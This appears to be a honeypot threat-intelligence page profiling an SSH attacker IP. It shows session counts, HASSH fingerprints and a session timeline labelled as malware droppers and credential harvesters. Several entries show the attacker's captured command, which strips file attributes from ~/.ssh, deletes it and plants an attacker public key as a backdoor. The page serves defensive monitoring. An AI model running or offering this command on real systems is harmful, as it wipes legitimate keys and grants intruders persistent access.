← Back to feed
191.101.59.198
Location
🇬🇧 GB / City of London
ASN
AS42831 · UK Dedicated Servers Limited
Cloud Provider
—
Total Events
359
Top 10% by volume
Agent Count
1
First / Last Seen
2026-04-09 15:07 — 2026-04-09 16:16
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
Sessions
51 (26 with login)
Avg Depth Score
0.55
Commands Executed
39
Files Downloaded
13
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Malware Dropper
e8023f1be501
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
e0b291c473f2
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
b7d21fd545c1
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
7a7d2b6e55ee
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
324ad4f01c89
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Credential Harvester
d100f61aa7ee
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
d90b13800d72
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
2d6451728b3b
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
f157cfaca025
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Credential Harvester
b93c2a98b416
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
8f522e494197
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
a9a6751538a7
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
2862f36d851f
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
c33d6c45e4bf
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
41c7e0e9301c
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
a20364dda5c0
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
a4a211444c95
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
aee70c21a928
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
d3b0a9b5ddd2
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Credential Harvester
2e5cca4bfae9
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
26ad56e7af7f
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
7c318ee7d329
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
e643d125f3fd
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Credential Harvester
7640aeb21e9b
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
6af9dd09dee3
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
79e708288e52
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
77c4d9fda66e
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
6ec9a3b7a4e4
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
60add585a43b
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Credential Harvester
091fbc09b6c4
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
5af470985501
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
b45b0ef72640
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
501e77a959ef
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Credential Harvester
a85ed6a647c3
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
6b769b242c8b
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
d0191a579851
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
9acb02c385d9
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
55f1877a4369
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
768a29729dc7
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Credential Harvester
2ac5eacc1248
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
4caf6d150385
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
28317df9a518
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
469e32442ce7
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
378edc0a983a
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
c8ba0f8c0eee
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
743c30553dc6
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
e3abe9dca8a9
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
ce0d58d65898
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
a8afa4cf8211
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Credential Harvester
31a356ef1b74
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1